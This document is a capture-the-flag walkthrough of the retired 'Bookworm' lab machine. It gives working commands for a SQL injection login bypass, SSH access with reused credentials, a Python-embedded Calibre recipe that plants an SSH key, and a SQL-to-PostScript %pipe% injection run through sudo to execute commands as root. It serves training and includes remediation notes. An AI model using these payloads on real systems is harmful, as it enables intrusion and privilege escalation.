Bookworm
Summary
I mapped an Express bookstore application (bookworm.htb) behind nginx and found the /login form's username field vulnerable to SQL injection, which both bypassed authentication and exposed backend data including an OS-level SSH password for the user 'frank'. That SSH access yielded the first foothold and user.txt.
From frank's shell, an internal ebook-conversion service (Calibre's ebook-convert) listening only on localhost accepted a crafted .recipe file containing embedded Python, executing it as a second user, 'neil' — used to plant an SSH key and pivot cleanly. As neil, passwordless sudo rights to a label-printing script revealed a second SQL injection, this time reachable through a PostScript document the script generated; a crafted order ID broke out of the SQL query and into the PostScript, using Ghostscript's %pipe% device to execute an arbitrary shell command as root — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Resolve the discovered vhost locally.
$ echo "$TARGET bookworm.htb" | sudo tee -a /etc/hostsSweep candidate endpoints to map the application surface.
$ for p in shop login register cart orders profile api package.json robots.txt; do echo "### /$p"; curl -sS -i --max-time 10 --resolve bookworm.htb:80:$TARGET "http://bookworm.htb/$p"; doneExact commands 1
Confirms SQLi-based auth bypass (302 redirect vs. Normal invalid-login error).
$ curl -sS -i --resolve bookworm.htb:80:$TARGET -d "username=' OR 1=1-- -&password=x" http://bookworm.htb/loginFixUse parameterized queries for all application login/database accessCritical
Exact commands 2
PROVE foothold: id output confirms uid=1001(frank) before reading any flag.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no frank@$TARGET 'id; hostname; pwd'
uid=1001(frank) gid=1001(frank) groups=1001(frank)Capture the user flag; real value replaced with placeholder here.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no frank@$TARGET 'cat /home/frank/user.txt'FixStop reusing application/database credentials as OS account passwordsHigh
Exact commands 4
Craft a Calibre .recipe file with embedded Python.
$ printf '%s\n' 'import os' 'os.system("id > /home/neil/converter/output/recipe_id")' > proof.recipeRun from frank's SSH session; the local-only converter executes the recipe as neil (HTTP status is unreliable — check the output file/marker instead).
$ curl -sS -F 'outputType=epub' -F 'convertFile=@proof.recipe;filename=proof.recipe' http://127.0.0.1:3001/Reuse the RCE to plant my own SSH key for neil (generate neil_ed25519 first with ssh-keygen).
$ printf '%s\n' 'import os' 'os.makedirs("/home/neil/.ssh", exist_ok=True)' 'open("/home/neil/.ssh/authorized_keys","a").write(open("neil_ed25519.pub").read())' > key.recipe && curl -sS -F 'outputType=epub' -F 'convertFile=@key.recipe;filename=key.recipe' http://127.0.0.1:3001/PROVE the pivot: confirm uid=1002(neil) via key-based SSH.
$ ssh -i neil_ed25519 neil@$TARGET 'id'FixSandbox or disable execution of untrusted Calibre recipe filesCritical
Exact commands 2
From neil's shell — lists the NOPASSWD genlabel entry.
$ sudo -n -lReview the script and PostScript template to find the injectable order-ID parameter.
$ sed -n '1,320p' /usr/local/bin/genlabel; sed -n '1,260p' /usr/local/labelgeneration/template.psFixFix the SQL injection in genlabel and remove its unrestricted root sudo grantCritical
Exact commands 3
Runs as root via sudo; SQLi breaks out of the query, PostScript %pipe% executes id as root.
$ sudo /usr/local/bin/genlabel "0 UNION SELECT 'X) show (%pipe%id > /tmp/root_id) (w) file closefile (Y','A','B','C','D',1,1-- -"PROVE root escalation: shows uid=0(root) before reading root.txt.
$ cat /tmp/root_idSame %pipe% primitive, swapped to read the root flag. Real value redacted: <root.txt>.
$ sudo /usr/local/bin/genlabel "0 UNION SELECT 'X) show (%pipe%cat /root/root.txt > /tmp/root_flag) (w) file closefile (Y','A','B','C','D',1,1-- -" && cat /tmp/root_flagAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.